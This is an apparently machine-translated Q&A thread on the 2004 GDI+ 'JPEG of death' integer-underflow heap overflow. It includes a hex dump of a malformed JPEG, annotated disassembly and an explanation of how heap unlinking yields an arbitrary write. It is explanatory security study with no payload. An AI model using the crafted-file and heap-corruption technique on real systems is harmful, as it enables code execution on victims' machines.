Raf*_*afa 94 c++ security memcpy malware
我一直在阅读有关Windows XP和Windows Server 2003上针对GDI +的旧版漏洞,我正在研究一个名为JPEG of death的项目.
该漏洞利用在以下链接中得到了很好的解释:http: //www.infosecwriters.com/text_resources/pdf/JPEG.pdf
基本上,JPEG文件包含一个名为COM的部分,其中包含一个(可能为空)注释字段,以及一个包含COM大小的双字节值.如果没有注释,则大小为2.读取器(GDI +)读取大小,减去两个,并分配适当大小的缓冲区以复制堆中的注释.攻击涉及0
在现场放置一个值.GDI +减去2
,导致的一个值-2 (0xFFFe)
,其被转化成无符号整数0XFFFFFFFE
的memcpy
.
示例代码:
unsigned int size;
size = len - 2;
char *comment = (char *)malloc(size + 1);
memcpy(comment, src, size);
Run Code Online (Sandbox Code Playgroud)
注意malloc(0)
在第三行应返回指向堆上未分配内存的指针.如何写入0XFFFFFFFE
字节(4GB
!!!!)可能不会使程序崩溃?这是否超出堆区域并进入其他程序和操作系统的空间?那么会发生什么?
据我所知memcpy
,它只是简单地将n
字符从目的地复制到源.在这种情况下,源应该在堆栈上,堆上的目标,并且n
是4GB
.
Nei*_*tsa 94
这个漏洞绝对是一个堆溢出.
怎么写0XFFFFFFFE字节(4 GB !!!!)可能不会崩溃程序?
它可能会,但在某些情况下你有时间在崩溃发生之前利用(有时,你可以让程序恢复正常执行并避免崩溃).
当memcpy()启动时,副本将覆盖其他一些堆块或堆管理结构的某些部分(例如,空闲列表,忙列表等).
在某些时候,副本将遇到未分配的页面并在写入时触发AV(访问冲突).然后GDI +将尝试在堆中分配一个新块(请参阅ntdll!RtlAllocateHeap)...但是堆结构现在都搞砸了.
此时,通过精心设计JPEG图像,您可以使用受控数据覆盖堆管理结构.当系统尝试分配新块时,它可能会取消(空闲)块与空闲列表的链接.
块(特别是)flink(前向链接;列表中的下一个块)和闪烁(后向链接;列表中的前一个块)指针进行管理.如果您同时控制flink和blink,则可能有一个WRITE4(写入What/Where条件),您可以在其中控制可以写入的内容以及可以写入的位置.
此时,您可以覆盖函数指针(SEH [结构化异常处理程序]指针是2004年那时的首选目标)并获得代码执行.
请参阅博客文章Heap Corruption:案例研究.
注意:虽然我写了关于使用freelist的利用,但攻击者可能会选择使用其他堆元数据的另一个路径("堆元数据"是系统用来管理堆的结构; flink和blink是堆元数据的一部分),但是unlink剥离可能是"最简单的".谷歌搜索"堆利用"将返回关于此的大量研究.
这是否超出堆区域并进入其他程序和操作系统的空间?
决不.现代操作系统基于虚拟地址空间的概念,因此每个进程都有自己的虚拟地址空间,可以在32位系统上寻址高达4千兆字节的内存(实际上,只有一半在用户区中,剩下的就是内核).
简而言之,进程无法访问另一个进程的内存(除非它通过某些服务/ API向内核询问它,但内核将检查调用者是否有权这样做).
我决定在本周末测试这个漏洞,这样我们就可以了解正在发生的事情,而不是纯粹的猜测.这个漏洞现在已经有10年了,所以我认为可以写一下这个漏洞,虽然我没有在这个答案中解释漏洞部分.
规划
最困难的任务是找到一个只有SP1的Windows XP,就像2004年那样:)
然后,我下载了仅由单个像素组成的JPEG图像,如下所示(为简洁起见):
File 1x1_pixel.JPG
Address Hex dump ASCII
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF `
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| * ÿÛ C
[...]
Run Code Online (Sandbox Code Playgroud)
JPEG图片由二进制标记(引入片段)组成.在上图中,FF D8
是SOI(图像开始)标记,而FF E0
例如是应用标记.
标记段中的第一个参数(除了一些标记,如SOI)是一个双字节长度参数,它对标记段中的字节数进行编码,包括长度参数,不包括双字节标记.
我只是FFFE
在SOI之后添加了一个COM标记(0x ),因为标记没有严格的顺序.
File 1x1_pixel_comment_mod1.JPG
Address Hex dump ASCII
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
Run Code Online (Sandbox Code Playgroud)
COM段的长度设置00 00
为触发漏洞.我还在COM标记之后注入了0xFFFC字节,其中包含一个循环模式,一个4字节的十六进制数字,这将在"利用"漏洞时变得很方便.
调试
双击图像将立即gdiplus.dll
在名为的函数中的某个位置触发Windows shell(也称为"explorer.exe")中的错误GpJpegDecoder::read_jpeg_marker()
.
为图片中的每个标记调用此函数,它只是:读取标记段大小,分配长度为段大小的缓冲区,并将段的内容复制到此新分配的缓冲区中.
这里是函数的开头:
.text:70E199D5 mov ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8 push esi
.text:70E199D9 mov esi, [ebx+18h]
.text:70E199DC mov eax, [esi] ; eax = pointer to segment size
.text:70E199DE push edi
.text:70E199DF mov edi, [esi+4] ; edi = bytes left to process in the image
Run Code Online (Sandbox Code Playgroud)
eax
寄存器指向段大小,edi
是图像中剩余的字节数.
然后代码继续读取段大小,从最高有效字节开始(长度为16位值):
.text:70E199F7 xor ecx, ecx ; segment_size = 0
.text:70E199F9 mov ch, [eax] ; get most significant byte from size --> CH == 00
.text:70E199FB dec edi ; bytes_to_process --
.text:70E199FC inc eax ; pointer++
.text:70E199FD test edi, edi
.text:70E199FF mov [ebp+arg_0], ecx ; save segment_size
Run Code Online (Sandbox Code Playgroud)
最不重要的字节:
.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19 add [ebp+arg_0], ecx ; save segment_size
.text:70E19A1C mov ecx, [ebp+lpMem]
.text:70E19A1F inc eax ; pointer ++
.text:70E19A20 mov [esi], eax
.text:70E19A22 mov eax, [ebp+arg_0] ; eax = segment_size
Run Code Online (Sandbox Code Playgroud)
完成此操作后,段大小将用于分配缓冲区,计算后:
alloc_size = segment_size + 2
这是通过以下代码完成的:
.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D add eax, 2
.text:70E19A30 mov [ecx], ax
.text:70E19A33 lea eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
Run Code Online (Sandbox Code Playgroud)
在我们的例子中,当段大小为0时,缓冲区的分配大小为2个字节.
分配后漏洞就在发生:
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
.text:70E19A3C test eax, eax
.text:70E19A3E mov [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41 jz loc_70E19AF1
.text:70E19A47 mov cx, [ebp+arg_4] ; low marker byte (0xFE)
.text:70E19A4B mov [eax], cx ; save in alloc (offset 0)
;[...]
.text:70E19A52 lea edx, [esi-2] ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61 mov [ebp+arg_0], edx
Run Code Online (Sandbox Code Playgroud)
代码只是从整个段大小(在我们的例子中为0)中减去segment_size大小(段长度是2个字节的值),最后得到一个整数下溢:0 - 2 = 0xFFFFFFFE
然后代码检查是否有剩余的字节要在图像中解析(这是真的),然后跳转到副本:
.text:70E19A69 mov ecx, [eax+4] ; ecx = bytes left to parse (0x133)
.text:70E19A6C cmp ecx, edx ; edx = 0xFFFFFFFE
.text:70E19A6E jg short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4 mov eax, [ebx+18h]
.text:70E19AB7 mov esi, [eax] ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9 mov edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC mov ecx, edx ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE mov eax, ecx
.text:70E19AC0 shr ecx, 2 ; size / 4
.text:70E19AC3 rep movsd ; copy segment content by 32-bit chunks
Run Code Online (Sandbox Code Playgroud)
上面的代码片段显示复制大小为0xFFFFFFFE 32位块.控制源缓冲区(图片内容),目标是堆上的缓冲区.
写条件
当副本到达内存页面的末尾时,副本将触发访问冲突(AV)异常(这可能来自源指针或目标指针).触发AV时,堆已处于易受攻击状态,因为副本已覆盖所有后续堆块,直到遇到未映射的页面.
使这个漏洞可利用的原因是3 SEH(结构化异常处理程序;这是try /除了低级别)正在捕获这部分代码的异常.更准确地说,第一个SEH将展开堆栈,以便它返回解析另一个JPEG标记,从而完全跳过触发异常的标记.
如果没有SEH,代码就会崩溃整个程序.因此代码跳过COM段并解析另一个段.所以我们回到GpJpegDecoder::read_jpeg_marker()
一个新的段,当代码分配一个新的缓冲区时:
.text:70E19A33 lea eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
Run Code Online (Sandbox Code Playgroud)
系统将取消块与空闲列表的链接.发生了元数据结构被图像内容覆盖的情况; 所以我们用受控元数据控制取消链接.以下代码位于堆管理器中系统(ntdll)的某处:
CPU Disasm
Address Command Comments
77F52CBF MOV ECX,DWORD PTR DS:[EAX] ; eax points to '0003' ; ecx = 0x33303030
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX ; save ecx
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4] ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0 MOV DWORD PTR DS:[EAX],ECX ; write 0x33303030 to 0x34303030!!!
Run Code Online (Sandbox Code Playgroud)
现在我们可以写出我们想要的东西,我们想要的地方......
由于我不知道 GDI 的代码,所以下面的内容只是猜测。
好吧,我想到的一件事是我在某些操作系统上注意到的一种行为(我不知道 Windows XP 是否有这个)是在使用 new / 分配时malloc
,实际上可以分配比 RAM 更大的空间,只要你不写那个记忆。
这实际上是linux内核的一种行为。
来自 www.kernel.org :
进程线性地址空间中的页不一定驻留在内存中。例如,代表进程进行的分配不会立即得到满足,因为空间只是在 vm_area_struct 中保留。
要进入常驻内存,必须触发页面错误。
基本上,您需要在内存实际在系统上分配之前将其弄脏:
unsigned int size=-1;
char* comment = new char[size];
Run Code Online (Sandbox Code Playgroud)
有时它实际上不会在 RAM 中进行真正的分配(您的程序仍然不会使用 4 GB)。我知道我在 Linux 上见过这种行为,但现在我无法在 Windows 7 安装上复制它。
从这种行为开始,以下场景是可能的。
为了使该内存存在于 RAM 中,您需要将其弄脏(基本上是 memset 或对其进行其他写入):
memset(comment, 0, size);
Run Code Online (Sandbox Code Playgroud)
然而,该漏洞利用的是缓冲区溢出,而不是分配失败。
换句话说,如果我有这个:
unsinged int size =- 1;
char* p = new char[size]; // Will not crash here
memcpy(p, some_buffer, size);
Run Code Online (Sandbox Code Playgroud)
这将导致缓冲区后写入,因为不存在 4 GB 的连续内存段。
你没有在 p 中放入任何东西来使整个 4 GB 内存变脏,而且我不知道是否会memcpy
立即使内存变脏,或者只是逐页变脏(我认为是逐页变脏)。
最终它会覆盖堆栈帧(堆栈缓冲区溢出)。
另一个更可能的漏洞是,如果图片作为字节数组保存在内存中(将整个文件读入缓冲区),并且注释的大小仅用于跳过非重要信息。
例如
unsigned int commentsSize = -1;
char* wholePictureBytes; // Has size of file
...
// Time to start processing the output color
char* p = wholePictureButes;
offset = (short) p[COM_OFFSET];
char* dataP = p + offset;
dataP[0] = EvilHackerValue; // Vulnerability here
Run Code Online (Sandbox Code Playgroud)
正如您提到的,如果 GDI 没有分配该大小,程序将永远不会崩溃。